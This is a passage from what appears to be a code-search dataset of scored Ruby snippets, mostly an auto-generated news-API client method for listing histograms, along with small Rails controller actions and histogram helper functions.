'source.rankings.alexa.rank.MU', 'source.rankings.alexa.rank.YT', 'source.rankings.alexa.rank.MX', 'source.rankings.alexa.rank.FM', 'source.rankings.alexa.rank.MD', 'source.rankings.alexa.rank.MC', 'source.rankings.alexa.rank.MN', 'source.rankings.alexa.rank.ME', 'source.rankings.alexa.rank.MS', 'source.rankings.alexa.rank.MA', 'source.rankings.alexa.rank.MZ', 'source.rankings.alexa.rank.MM', 'source.rankings.alexa.rank.NA', 'source.rankings.alexa.rank.NR', 'source.rankings.alexa.rank.NP', 'source.rankings.alexa.rank.NL', 'source.rankings.alexa.rank.NC', 'source.rankings.alexa.rank.NZ', 'source.rankings.alexa.rank.NI', 'source.rankings.alexa.rank.NE', 'source.rankings.alexa.rank.NG', 'source.rankings.alexa.rank.NU', 'source.rankings.alexa.rank.NF', 'source.rankings.alexa.rank.MP', 'source.rankings.alexa.rank.NO', 'source.rankings.alexa.rank.OM', 'source.rankings.alexa.rank.PK', 'source.rankings.alexa.rank.PW', 'source.rankings.alexa.rank.PS', 'source.rankings.alexa.rank.PA', 'source.rankings.alexa.rank.PG', 'source.rankings.alexa.rank.PY', 'source.rankings.alexa.rank.PE', 'source.rankings.alexa.rank.PH', 'source.rankings.alexa.rank.PN', 'source.rankings.alexa.rank.PL', 'source.rankings.alexa.rank.PT', 'source.rankings.alexa.rank.PR', 'source.rankings.alexa.rank.QA', 'source.rankings.alexa.rank.RE', 'source.rankings.alexa.rank.RO', 'source.rankings.alexa.rank.RU', 'source.rankings.alexa.rank.RW', 'source.rankings.alexa.rank.BL', 'source.rankings.alexa.rank.SH', 'source.rankings.alexa.rank.KN', 'source.rankings.alexa.rank.LC', 'source.rankings.alexa.rank.MF', 'source.rankings.alexa.rank.PM', 'source.rankings.alexa.rank.VC', 'source.rankings.alexa.rank.WS', 'source.rankings.alexa.rank.SM', 'source.rankings.alexa.rank.ST', 'source.rankings.alexa.rank.SA', 'source.rankings.alexa.rank.SN', 'source.rankings.alexa.rank.RS', 'source.rankings.alexa.rank.SC', 'source.rankings.alexa.rank.SL', 'source.rankings.alexa.rank.SG', 'source.rankings.alexa.rank.SX', 'source.rankings.alexa.rank.SK', 'source.rankings.alexa.rank.SI', 'source.rankings.alexa.rank.SB', 'source.rankings.alexa.rank.SO', 'source.rankings.alexa.rank.ZA', 'source.rankings.alexa.rank.GS', 'source.rankings.alexa.rank.SS', 'source.rankings.alexa.rank.ES', 'source.rankings.alexa.rank.LK', 'source.rankings.alexa.rank.SD', 'source.rankings.alexa.rank.SR', 'source.rankings.alexa.rank.SJ', 'source.rankings.alexa.rank.SZ', 'source.rankings.alexa.rank.SE', 'source.rankings.alexa.rank.CH', 'source.rankings.alexa.rank.SY', 'source.rankings.alexa.rank.TW', 'source.rankings.alexa.rank.TJ', 'source.rankings.alexa.rank.TZ', 'source.rankings.alexa.rank.TH', 'source.rankings.alexa.rank.TL', 'source.rankings.alexa.rank.TG', 'source.rankings.alexa.rank.TK', 'source.rankings.alexa.rank.TO', 'source.rankings.alexa.rank.TT', 'source.rankings.alexa.rank.TN', 'source.rankings.alexa.rank.TR', 'source.rankings.alexa.rank.TM', 'source.rankings.alexa.rank.TC', 'source.rankings.alexa.rank.TV', 'source.rankings.alexa.rank.UG', 'source.rankings.alexa.rank.UA', 'source.rankings.alexa.rank.AE', 'source.rankings.alexa.rank.GB', 'source.rankings.alexa.rank.US', 'source.rankings.alexa.rank.UM', 'source.rankings.alexa.rank.UY', 'source.rankings.alexa.rank.UZ', 'source.rankings.alexa.rank.VU', 'source.rankings.alexa.rank.VE', 'source.rankings.alexa.rank.VN', 'source.rankings.alexa.rank.VG', 'source.rankings.alexa.rank.VI', 'source.rankings.alexa.rank.WF', 'source.rankings.alexa.rank.EH', 'source.rankings.alexa.rank.YE', 'source.rankings.alexa.rank.ZM', 'source.rankings.alexa.rank.ZW'].include?(opts[:'field'])\n fail ArgumentError, 'invalid value for \"field\", must be one of social_shares_count, social_shares_count.facebook, social_shares_count.linkedin, social_shares_count.reddit, social_shares_count.google_plus, characters_count, words_count, sentences_count, paragraphs_count, media.images.count, media.videos.count, source.links_in_count, source.rankings.alexa.rank, source.rankings.alexa.rank.AF, source.rankings.alexa.rank.AX, source.rankings.alexa.rank.AL, source.rankings.alexa.rank.DZ, source.rankings.alexa.rank.AS, source.rankings.alexa.rank.AD, source.rankings.alexa.rank.AO, source.rankings.alexa.rank.AI, source.rankings.alexa.rank.AQ, source.rankings.alexa.rank.AG, source.rankings.alexa.rank.AR, source.rankings.alexa.rank.AM, source.rankings.alexa.rank.AW, source.rankings.alexa.rank.AU, source.rankings.alexa.rank.AT, source.rankings.alexa.rank.AZ, source.rankings.alexa.rank.BS, source.rankings.alexa.rank.BH, source.rankings.alexa.rank.BD, source.rankings.alexa.rank.BB, source.rankings.alexa.rank.BY, source.rankings.alexa.rank.BE, source.rankings.alexa.rank.BZ, source.rankings.alexa.rank.BJ, source.rankings.alexa.rank.BM, source.rankings.alexa.rank.BT, source.rankings.alexa.rank.BO, source.rankings.alexa.rank.BQ, source.rankings.alexa.rank.BA, source.rankings.alexa.rank.BW, source.rankings.alexa.rank.BV, source.rankings.alexa.rank.BR, source.rankings.alexa.rank.IO, source.rankings.alexa.rank.BN, source.rankings.alexa.rank.BG, source.rankings.alexa.rank.BF, source.rankings.alexa.rank.BI, source.rankings.alexa.rank.KH, source.rankings.alexa.rank.CM, source.rankings.alexa.rank.CA, source.rankings.alexa.rank.CV, source.rankings.alexa.rank.KY, source.rankings.alexa.rank.CF, source.rankings.alexa.rank.TD, source.rankings.alexa.rank.CL, source.rankings.alexa.rank.CN, source.rankings.alexa.rank.CX, source.rankings.alexa.rank.CC, source.rankings.alexa.rank.CO, source.rankings.alexa.rank.KM, source.rankings.alexa.rank.CG, source.rankings.alexa.rank.CD, source.rankings.alexa.rank.CK, source.rankings.alexa.rank.CR, source.rankings.alexa.rank.CI, source.rankings.alexa.rank.HR, source.rankings.alexa.rank.CU, source.rankings.alexa.rank.CW, source.rankings.alexa.rank.CY, source.rankings.alexa.rank.CZ, source.rankings.alexa.rank.DK, source.rankings.alexa.rank.DJ, source.rankings.alexa.rank.DM, source.rankings.alexa.rank.DO, source.rankings.alexa.rank.EC, source.rankings.alexa.rank.EG, source.rankings.alexa.rank.SV, source.rankings.alexa.rank.GQ, source.rankings.alexa.rank.ER, source.rankings.alexa.rank.EE, source.rankings.alexa.rank.ET, source.rankings.alexa.rank.FK, source.rankings.alexa.rank.FO, source.rankings.alexa.rank.FJ, source.rankings.alexa.rank.FI, source.rankings.alexa.rank.FR, source.rankings.alexa.rank.GF, source.rankings.alexa.rank.PF, source.rankings.alexa.rank.TF, source.rankings.alexa.rank.GA, source.rankings.alexa.rank.GM, source.rankings.alexa.rank.GE, source.rankings.alexa.rank.DE, source.rankings.alexa.rank.GH, source.rankings.alexa.rank.GI, source.rankings.alexa.rank.GR, source.rankings.alexa.rank.GL, source.rankings.alexa.rank.GD, source.rankings.alexa.rank.GP, source.rankings.alexa.rank.GU, source.rankings.alexa.rank.GT, source.rankings.alexa.rank.GG, source.rankings.alexa.rank.GN, source.rankings.alexa.rank.GW, source.rankings.alexa.rank.GY, source.rankings.alexa.rank.HT, source.rankings.alexa.rank.HM, source.rankings.alexa.rank.VA, source.rankings.alexa.rank.HN, source.rankings.alexa.rank.HK, source.rankings.alexa.rank.HU, source.rankings.alexa.rank.IS, source.rankings.alexa.rank.IN, source.rankings.alexa.rank.ID, source.rankings.alexa.rank.IR, source.rankings.alexa.rank.IQ, source.rankings.alexa.rank.IE, source.rankings.alexa.rank.IM, source.rankings.alexa.rank.IL, source.rankings.alexa.rank.IT, source.rankings.alexa.rank.JM, source.rankings.alexa.rank.JP, source.rankings.alexa.rank.JE, source.rankings.alexa.rank.JO, source.rankings.alexa.rank.KZ, source.rankings.alexa.rank.KE, source.rankings.alexa.rank.KI, source.rankings.alexa.rank.KP, source.rankings.alexa.rank.KR, source.rankings.alexa.rank.KW, source.rankings.alexa.rank.KG, source.rankings.alexa.rank.LA, source.rankings.alexa.rank.LV, source.rankings.alexa.rank.LB, source.rankings.alexa.rank.LS, source.rankings.alexa.rank.LR, source.rankings.alexa.rank.LY, source.rankings.alexa.rank.LI, source.rankings.alexa.rank.LT, source.rankings.alexa.rank.LU, source.rankings.alexa.rank.MO, source.rankings.alexa.rank.MK, source.rankings.alexa.rank.MG, source.rankings.alexa.rank.MW, source.rankings.alexa.rank.MY, source.rankings.alexa.rank.MV, source.rankings.alexa.rank.ML, source.rankings.alexa.rank.MT, source.rankings.alexa.rank.MH, source.rankings.alexa.rank.MQ, source.rankings.alexa.rank.MR, source.rankings.alexa.rank.MU, source.rankings.alexa.rank.YT, source.rankings.alexa.rank.MX, source.rankings.alexa.rank.FM, source.rankings.alexa.rank.MD, source.rankings.alexa.rank.MC, source.rankings.alexa.rank.MN, source.rankings.alexa.rank.ME, source.rankings.alexa.rank.MS, source.rankings.alexa.rank.MA, source.rankings.alexa.rank.MZ, source.rankings.alexa.rank.MM, source.rankings.alexa.rank.NA, source.rankings.alexa.rank.NR, source.rankings.alexa.rank.NP, source.rankings.alexa.rank.NL, source.rankings.alexa.rank.NC, source.rankings.alexa.rank.NZ, source.rankings.alexa.rank.NI, source.rankings.alexa.rank.NE, source.rankings.alexa.rank.NG, source.rankings.alexa.rank.NU, source.rankings.alexa.rank.NF, source.rankings.alexa.rank.MP, source.rankings.alexa.rank.NO, source.rankings.alexa.rank.OM, source.rankings.alexa.rank.PK, source.rankings.alexa.rank.PW, source.rankings.alexa.rank.PS, source.rankings.alexa.rank.PA, source.rankings.alexa.rank.PG, source.rankings.alexa.rank.PY, source.rankings.alexa.rank.PE, source.rankings.alexa.rank.PH, source.rankings.alexa.rank.PN, source.rankings.alexa.rank.PL, source.rankings.alexa.rank.PT, source.rankings.alexa.rank.PR, source.rankings.alexa.rank.QA, source.rankings.alexa.rank.RE, source.rankings.alexa.rank.RO, source.rankings.alexa.rank.RU, source.rankings.alexa.rank.RW, source.rankings.alexa.rank.BL, source.rankings.alexa.rank.SH, source.rankings.alexa.rank.KN, source.rankings.alexa.rank.LC, source.rankings.alexa.rank.MF, source.rankings.alexa.rank.PM, source.rankings.alexa.rank.VC, source.rankings.alexa.rank.WS, source.rankings.alexa.rank.SM, source.rankings.alexa.rank.ST, source.rankings.alexa.rank.SA, source.rankings.alexa.rank.SN, source.rankings.alexa.rank.RS, source.rankings.alexa.rank.SC, source.rankings.alexa.rank.SL, source.rankings.alexa.rank.SG, source.rankings.alexa.rank.SX, source.rankings.alexa.rank.SK, source.rankings.alexa.rank.SI, source.rankings.alexa.rank.SB, source.rankings.alexa.rank.SO, source.rankings.alexa.rank.ZA, source.rankings.alexa.rank.GS, source.rankings.alexa.rank.SS, source.rankings.alexa.rank.ES, source.rankings.alexa.rank.LK, source.rankings.alexa.rank.SD, source.rankings.alexa.rank.SR, source.rankings.alexa.rank.SJ, source.rankings.alexa.rank.SZ, source.rankings.alexa.rank.SE, source.rankings.alexa.rank.CH, source.rankings.alexa.rank.SY, source.rankings.alexa.rank.TW, source.rankings.alexa.rank.TJ, source.rankings.alexa.rank.TZ, source.rankings.alexa.rank.TH, source.rankings.alexa.rank.TL, source.rankings.alexa.rank.TG, source.rankings.alexa.rank.TK, source.rankings.alexa.rank.TO, source.rankings.alexa.rank.TT, source.rankings.alexa.rank.TN, source.rankings.alexa.rank.TR, source.rankings.alexa.rank.TM, source.rankings.alexa.rank.TC, source.rankings.alexa.rank.TV, source.rankings.alexa.rank.UG, source.rankings.alexa.rank.UA, source.rankings.alexa.rank.AE, source.rankings.alexa.rank.GB, source.rankings.alexa.rank.US, source.rankings.alexa.rank.UM, source.rankings.alexa.rank.UY, source.rankings.alexa.rank.UZ, source.rankings.alexa.rank.VU, source.rankings.alexa.rank.VE, source.rankings.alexa.rank.VN, source.rankings.alexa.rank.VG, source.rankings.alexa.rank.VI, source.rankings.alexa.rank.WF, source.rankings.alexa.rank.EH, source.rankings.alexa.rank.YE, source.rankings.alexa.rank.ZM, source.rankings.alexa.rank.ZW'\n end\n # resource path\n local_var_path = \"/histograms\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'id[]'] = @api_client.build_collection_param(opts[:'id'], :multi) if !opts[:'id'].nil?\n query_params[:'!id[]'] = @api_client.build_collection_param(opts[:'not_id'], :multi) if !opts[:'not_id'].nil?\n query_params[:'title'] = opts[:'title'] if !opts[:'title'].nil?\n query_params[:'body'] = opts[:'body'] if !opts[:'body'].nil?\n query_params[:'text'] = opts[:'text'] if !opts[:'text'].nil?\n query_params[:'language[]'] = @api_client.build_collection_param(opts[:'language'], :multi) if !opts[:'language'].nil?\n query_params[:'!language[]'] = @api_client.build_collection_param(opts[:'not_language'], :multi) if !opts[:'not_language'].nil?\n query_params[:'published_at.start'] = opts[:'published_at_start'] if !opts[:'published_at_start'].nil?\n query_params[:'published_at.end'] = opts[:'published_at_end'] if !opts[:'published_at_end'].nil?\n query_params[:'categories.taxonomy'] = opts[:'categories_taxonomy'] if !opts[:'categories_taxonomy'].nil?\n query_params[:'categories.confident'] = opts[:'categories_confident'] if !opts[:'categories_confident'].nil?\n query_params[:'categories.id[]'] = @api_client.build_collection_param(opts[:'categories_id'], :multi) if !opts[:'categories_id'].nil?\n query_params[:'!categories.id[]'] = @api_client.build_collection_param(opts[:'not_categories_id'], :multi) if !opts[:'not_categories_id'].nil?\n query_params[:'categories.level[]'] = @api_client.build_collection_param(opts[:'categories_level'], :multi) if !opts[:'categories_level'].nil?\n query_params[:'!categories.level[]'] = @api_client.build_collection_param(opts[:'not_categories_level'], :multi) if !opts[:'not_categories_level'].nil?\n query_params[:'entities.title.text[]'] = @api_client.build_collection_param(opts[:'entities_title_text'], :multi) if !opts[:'entities_title_text'].nil?\n query_params[:'!entities.title.text[]'] = @api_client.build_collection_param(opts[:'not_entities_title_text'], :multi) if !opts[:'not_entities_title_text'].nil?\n query_params[:'entities.title.type[]'] = @api_client.build_collection_param(opts[:'entities_title_type'], :multi) if !opts[:'entities_title_type'].nil?\n query_params[:'!entities.title.type[]'] = @api_client.build_collection_param(opts[:'not_entities_title_type'], :multi) if !opts[:'not_entities_title_type'].nil?\n query_params[:'entities.title.links.dbpedia[]'] = @api_client.build_collection_param(opts[:'entities_title_links_dbpedia'], :multi) if !opts[:'entities_title_links_dbpedia'].nil?\n query_params[:'!entities.title.links.dbpedia[]'] = @api_client.build_collection_param(opts[:'not_entities_title_links_dbpedia'], :multi) if !opts[:'not_entities_title_links_dbpedia'].nil?\n query_params[:'entities.body.text[]'] = @api_client.build_collection_param(opts[:'entities_body_text'], :multi) if !opts[:'entities_body_text'].nil?\n query_params[:'!entities.body.text[]'] = @api_client.build_collection_param(opts[:'not_entities_body_text'], :multi) if !opts[:'not_entities_body_text'].nil?\n query_params[:'entities.body.type[]'] = @api_client.build_collection_param(opts[:'entities_body_type'], :multi) if !opts[:'entities_body_type'].nil?\n query_params[:'!entities.body.type[]'] = @api_client.build_collection_param(opts[:'not_entities_body_type'], :multi) if !opts[:'not_entities_body_type'].nil?\n query_params[:'entities.body.links.dbpedia[]'] = @api_client.build_collection_param(opts[:'entities_body_links_dbpedia'], :multi) if !opts[:'entities_body_links_dbpedia'].nil?\n query_params[:'!entities.body.links.dbpedia[]'] = @api_client.build_collection_param(opts[:'not_entities_body_links_dbpedia'], :multi) if !opts[:'not_entities_body_links_dbpedia'].nil?\n query_params[:'sentiment.title.polarity'] = opts[:'sentiment_title_polarity'] if !opts[:'sentiment_title_polarity'].nil?\n query_params[:'!sentiment.title.polarity'] = opts[:'not_sentiment_title_polarity'] if !opts[:'not_sentiment_title_polarity'].nil?\n query_params[:'sentiment.body.polarity'] = opts[:'sentiment_body_polarity'] if !opts[:'sentiment_body_polarity'].nil?\n query_params[:'!sentiment.body.polarity'] = opts[:'not_sentiment_body_polarity'] if !opts[:'not_sentiment_body_polarity'].nil?\n query_params[:'media.images.count.min'] = opts[:'media_images_count_min'] if !opts[:'media_images_count_min'].nil?\n query_params[:'media.images.count.max'] = opts[:'media_images_count_max'] if !opts[:'media_images_count_max'].nil?\n query_params[:'media.images.width.min'] = opts[:'media_images_width_min'] if !opts[:'media_images_width_min'].nil?\n query_params[:'media.images.width.max'] = opts[:'media_images_width_max'] if !opts[:'media_images_width_max'].nil?\n query_params[:'media.images.height.min'] = opts[:'media_images_height_min'] if !opts[:'media_images_height_min'].nil?\n query_params[:'media.images.height.max'] = opts[:'media_images_height_max'] if !opts[:'media_images_height_max'].nil?\n query_params[:'media.images.content_length.min'] = opts[:'media_images_content_length_min'] if !opts[:'media_images_content_length_min'].nil?\n query_params[:'media.images.content_length.max'] = opts[:'media_images_content_length_max'] if !opts[:'media_images_content_length_max'].nil?\n query_params[:'media.images.format[]'] = @api_client.build_collection_param(opts[:'media_images_format'], :multi) if !opts[:'media_images_format'].nil?\n query_params[:'!media.images.format[]'] = @api_client.build_collection_param(opts[:'not_media_images_format'], :multi) if !opts[:'not_media_images_format'].nil?\n query_params[:'media.videos.count.min'] = opts[:'media_videos_count_min'] if !opts[:'media_videos_count_min'].nil?\n query_params[:'media.videos.count.max'] = opts[:'media_videos_count_max'] if !opts[:'media_videos_count_max'].nil?\n query_params[:'author.id[]'] = @api_client.build_collection_param(opts[:'author_id'], :multi) if !opts[:'author_id'].nil?\n query_params[:'!author.id[]'] = @api_client.build_collection_param(opts[:'not_author_id'], :multi) if !opts[:'not_author_id'].nil?\n query_params[:'author.name'] = opts[:'author_name'] if !opts[:'author_name'].nil?\n query_params[:'!author.name'] = opts[:'not_author_name'] if !opts[:'not_author_name'].nil?\n query_params[:'source.id[]'] = @api_client.build_collection_param(opts[:'source_id'], :multi) if !opts[:'source_id'].nil?\n query_params[:'!source.id[]'] = @api_client.build_collection_param(opts[:'not_source_id'], :multi) if !opts[:'not_source_id'].nil?\n query_params[:'source.name[]'] = @api_client.build_collection_param(opts[:'source_name'], :multi) if !opts[:'source_name'].nil?\n query_params[:'!source.name[]'] = @api_client.build_collection_param(opts[:'not_source_name'], :multi) if !opts[:'not_source_name'].nil?\n query_params[:'source.domain[]'] = @api_client.build_collection_param(opts[:'source_domain'], :multi) if !opts[:'source_domain'].nil?\n query_params[:'!source.domain[]'] = @api_client.build_collection_param(opts[:'not_source_domain'], :multi) if !opts[:'not_source_domain'].nil?\n query_params[:'source.locations.country[]'] = @api_client.build_collection_param(opts[:'source_locations_country'], :multi) if !opts[:'source_locations_country'].nil?\n query_params[:'!source.locations.country[]'] = @api_client.build_collection_param(opts[:'not_source_locations_country'], :multi) if !opts[:'not_source_locations_country'].nil?\n query_params[:'source.locations.state[]'] = @api_client.build_collection_param(opts[:'source_locations_state'], :multi) if !opts[:'source_locations_state'].nil?\n query_params[:'!source.locations.state[]'] = @api_client.build_collection_param(opts[:'not_source_locations_state'], :multi) if !opts[:'not_source_locations_state'].nil?\n query_params[:'source.locations.city[]'] = @api_client.build_collection_param(opts[:'source_locations_city'], :multi) if !opts[:'source_locations_city'].nil?\n query_params[:'!source.locations.city[]'] = @api_client.build_collection_param(opts[:'not_source_locations_city'], :multi) if !opts[:'not_source_locations_city'].nil?\n query_params[:'source.scopes.country[]'] = @api_client.build_collection_param(opts[:'source_scopes_country'], :multi) if !opts[:'source_scopes_country'].nil?\n query_params[:'!source.scopes.country[]'] = @api_client.build_collection_param(opts[:'not_source_scopes_country'], :multi) if !opts[:'not_source_scopes_country'].nil?\n query_params[:'source.scopes.state[]'] = @api_client.build_collection_param(opts[:'source_scopes_state'], :multi) if !opts[:'source_scopes_state'].nil?\n query_params[:'!source.scopes.state[]'] = @api_client.build_collection_param(opts[:'not_source_scopes_state'], :multi) if !opts[:'not_source_scopes_state'].nil?\n query_params[:'source.scopes.city[]'] = @api_client.build_collection_param(opts[:'source_scopes_city'], :multi) if !opts[:'source_scopes_city'].nil?\n query_params[:'!source.scopes.city[]'] = @api_client.build_collection_param(opts[:'not_source_scopes_city'], :multi) if !opts[:'not_source_scopes_city'].nil?\n query_params[:'source.scopes.level[]'] = @api_client.build_collection_param(opts[:'source_scopes_level'], :multi) if !opts[:'source_scopes_level'].nil?\n query_params[:'!source.scopes.level[]'] = @api_client.build_collection_param(opts[:'not_source_scopes_level'], :multi) if !opts[:'not_source_scopes_level'].nil?\n query_params[:'source.links_in_count.min'] = opts[:'source_links_in_count_min'] if !opts[:'source_links_in_count_min'].nil?\n query_params[:'source.links_in_count.max'] = opts[:'source_links_in_count_max'] if !opts[:'source_links_in_count_max'].nil?\n query_params[:'source.rankings.alexa.rank.min'] = opts[:'source_rankings_alexa_rank_min'] if !opts[:'source_rankings_alexa_rank_min'].nil?\n query_params[:'source.rankings.alexa.rank.max'] = opts[:'source_rankings_alexa_rank_max'] if !opts[:'source_rankings_alexa_rank_max'].nil?\n query_params[:'source.rankings.alexa.country[]'] = @api_client.build_collection_param(opts[:'source_rankings_alexa_country'], :multi) if !opts[:'source_rankings_alexa_country'].nil?\n query_params[:'social_shares_count.facebook.min'] = opts[:'social_shares_count_facebook_min'] if !opts[:'social_shares_count_facebook_min'].nil?\n query_params[:'social_shares_count.facebook.max'] = opts[:'social_shares_count_facebook_max'] if !opts[:'social_shares_count_facebook_max'].nil?\n query_params[:'social_shares_count.google_plus.min'] = opts[:'social_shares_count_google_plus_min'] if !opts[:'social_shares_count_google_plus_min'].nil?\n query_params[:'social_shares_count.google_plus.max'] = opts[:'social_shares_count_google_plus_max'] if !opts[:'social_shares_count_google_plus_max'].nil?\n query_params[:'social_shares_count.linkedin.min'] = opts[:'social_shares_count_linkedin_min'] if !opts[:'social_shares_count_linkedin_min'].nil?\n query_params[:'social_shares_count.linkedin.max'] = opts[:'social_shares_count_linkedin_max'] if !opts[:'social_shares_count_linkedin_max'].nil?\n query_params[:'social_shares_count.reddit.min'] = opts[:'social_shares_count_reddit_min'] if !opts[:'social_shares_count_reddit_min'].nil?\n query_params[:'social_shares_count.reddit.max'] = opts[:'social_shares_count_reddit_max'] if !opts[:'social_shares_count_reddit_max'].nil?\n query_params[:'interval.start'] = opts[:'interval_start'] if !opts[:'interval_start'].nil?\n query_params[:'interval.end'] = opts[:'interval_end'] if !opts[:'interval_end'].nil?\n query_params[:'interval.width'] = opts[:'interval_width'] if !opts[:'interval_width'].nil?\n query_params[:'field'] = opts[:'field'] if !opts[:'field'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/xml'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['app_key', 'app_id']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Histograms')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_histograms\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "0e1b3af39edd585ca146242794ce05fd", "score": "0.5626399", "text": "def histogram_size; end", "title": "" }, { "docid": "ae42420c558d1e626e7bd10a6e887b9a", "score": "0.56137246", "text": "def update\n respond_to do |format|\n if @batch_histogram.update(batch_histogram_params)\n format.html { redirect_to @batch_histogram, notice: 'Batch histogram was successfully updated.' }\n format.json { render :show, status: :ok, location: @batch_histogram }\n else\n format.html { render :edit }\n format.json { render json: @batch_histogram.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8c955a7738f6b2151fb201ab4ae9bacf", "score": "0.55755013", "text": "def histogram(stat, value, opts={})\n send_stats stat, value, :h, opts\n end", "title": "" }, { "docid": "3ce36e39ead97ca8e7eb6fc3dbccd56c", "score": "0.5564703", "text": "def histogram\n return @histogram if @histogram\n @histogram = { }\n File.open(options[:histogram_file]).each do |line|\n attr, val, freq = line.chomp.split(\"\\t\")\n @histogram[ [attr, val] ] = freq\n end\n @histogram\n end", "title": "" }, { "docid": "2209c764f34e14611833d88e3f71ca49", "score": "0.55517143", "text": "def histogram\n each_with_object(Hash.new(0)) do |item, hash|\n hash[item] += 1\n end\n end", "title": "" }, { "docid": "0668454ae2ccdb60170f752d023bf48a", "score": "0.55503535", "text": "def index\n books = Book.all\n render json: books, status: 200\n CUSTOM_COUNTER_METRICS_EXAMPLE.increment\n CUSTOM_COUNTER_METRICS_WITH_LABEL_EXAMPLE.increment(labels: {service: 'book_list'})\n CUSTOM_GAUGE_METRICS_WITH_LABEL_EXAMPLE.set(21.534, labels: { room: 'kitchen' })\n # TODO: Check This\n # CUSTOM_HISTOGRAM_METRICS_WITH_LABEL_EXAMPLE.observe(Benchmark.realtime { service.call(arg) }, labels: { service: 'books' })\n # CUSTOM_SUMMARY_METRICS_WITH_LABEL_EXAMPLE.observe(Benchmark.realtime { service.call() }, labels: { service: 'database' })\n end", "title": "" }, { "docid": "1a97ad9d3c291a188bbb589f5f5bd593", "score": "0.5549974", "text": "def show\n @histogram = Histogram.find(params[:id])\n @table = @histogram.create_histogram\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @histogram }\n end\n end", "title": "" }, { "docid": "1749a96f333dadd0aaaa23d2fb0dbf0c", "score": "0.5523639", "text": "def stat_histogram\n h = Hash.new(0)\n each { |v| h[v] +=1 }\n h\n end", "title": "" }, { "docid": "c485ca010c9bc991631a758a9063effd", "score": "0.54922813", "text": "def histogram(metric_name, count, options={})\n raise NotImplementedError\n end", "title": "" }, { "docid": "96d4c8883218634cc36d23ae41da90d3", "score": "0.5458566", "text": "def category_histogram(opts)\n filter_histogram('Category', opts)\n end", "title": "" }, { "docid": "82090b4141233cd59b55b857966e68e3", "score": "0.5438802", "text": "def histogram\n @histogram ||= @corpora.inject({ }) do |m, c|\n m.deep_merge(c.histo)\n end\n @histogram\n end", "title": "" }, { "docid": "96ef235c4c9778d4d52f67ec60f25ff1", "score": "0.54297537", "text": "def histogram(name)\n add_or_get(name, Metriks::Histogram) do\n @histogram_factory.call\n end\n end", "title": "" }, { "docid": "3663298e34c00c8a0364d11e8a3c236f", "score": "0.54233223", "text": "def destroy\n @histogram = Histogram.find(params[:id])\n @histogram.destroy\n\n respond_to do |format|\n format.html { redirect_to(histograms_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "47ba1bcb175fe8c51c018b46f5654d6c", "score": "0.54207236", "text": "def index\n @batches = Batch.all\n end", "title": "" }, { "docid": "47ba1bcb175fe8c51c018b46f5654d6c", "score": "0.54207236", "text": "def index\n @batches = Batch.all\n end", "title": "" }, { "docid": "184e33e84af4c8454c48a93c22ed7873", "score": "0.54186314", "text": "def list_hist\n print \"> \"\n @hist.each{|x| \"#{x} \"}\nend", "title": "" }, { "docid": "8a4f1ca1b9449520042afb98a1242775", "score": "0.54013085", "text": "def index\n @batches = current_user.batches\n @screenshots = current_user.screenshots\n\n @screenshots = @screenshots.find_all { |s| s.url == params[:url] } if params[:url]\n\n fields = {\n :only => [:batch_id,\n :url,\n :browser_name,\n :browser_version],\n :methods => [:absolute_url,\n :taken_at]\n }\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @screenshots.to_xml(fields) }\n format.json { render :json => @screenshots.to_json(fields) }\n end\n end", "title": "" }, { "docid": "8a989a689dd13a6b97d05f2809c483a6", "score": "0.5396621", "text": "def histogram\n self.each_with_object(Hash.new(0)) { |n, h| h[n] += 1 }\n end", "title": "" }, { "docid": "b0af1dc7a6af80da6c65d7e3bfdfdf65", "score": "0.53635496", "text": "def create\n @histogram = Histogram.new(params[:histogram])\n\n respond_to do |format|\n if @histogram.save\n flash[:notice] = 'Histogram was successfully created.'\n format.html { redirect_to(@histogram) }\n format.xml { render :xml => @histogram, :status => :created, :location => @histogram }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @histogram.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "088328dad207e3af20200c48897c1b0a", "score": "0.5357676", "text": "def histogram\n return {} if @total.zero?\n @histogram ||= @store.select{|e| e[0]==e[1]}\n .group_by{|e| (e[2]/0.05).to_i }.sort\n .map{|i,e| [i*5, e.size]}\n end", "title": "" }, { "docid": "eb6fd6745f50d73a8122871e7737bd4a", "score": "0.5356236", "text": "def make_histograms_by_hour\n _by_hour = samples_by_hour.dup\n _by_hour.each_key do |hour|\n hour_samples = _by_hour[hour]\n next if hour_samples.length < 2\n histogram = PointHistogram.new(hour_samples)\n buckets = histogram.calculate\n\n point_infos = buckets.map do |bucket|\n {\n :name => bucket[:count],\n :lat => bucket[:lat],\n :lon => bucket[:lon]\n }\n end\n\n _by_hour[hour] = point_infos\n end\n\nrequire 'pry'; binding.pry\n _by_hour\n end", "title": "" }, { "docid": "35aece899d62db2419fbcc396bafd3ca", "score": "0.5351471", "text": "def histo_csv filename\n results = histogram.map { |k, v| [\"#{k}\", \"#{v}\"] }\n results.unshift([\"\", \"Count\"])\n ::CSV.open(filename, \"wb\") do |csv|\n results.each do |line|\n csv << line\n end\n end\n end", "title": "" }, { "docid": "31d68d2a873d1665e2cab55dab028eb2", "score": "0.5324999", "text": "def histogram(series, kv = {})\n create_plot(:hist, series, kv) do |plt|\n nbins = plt.kvs[:nbins] || 0\n x, y = hist(series, nbins)\n plt.args = if kv[:horizontal]\n [[y, x, nil, nil, '']]\n else\n [[x, y, nil, nil, '']]\n end\n end\n end", "title": "" }, { "docid": "4855729559c356ba4d9320d3d69cb803", "score": "0.53217703", "text": "def histogram(force = false)\n @histogram = nil 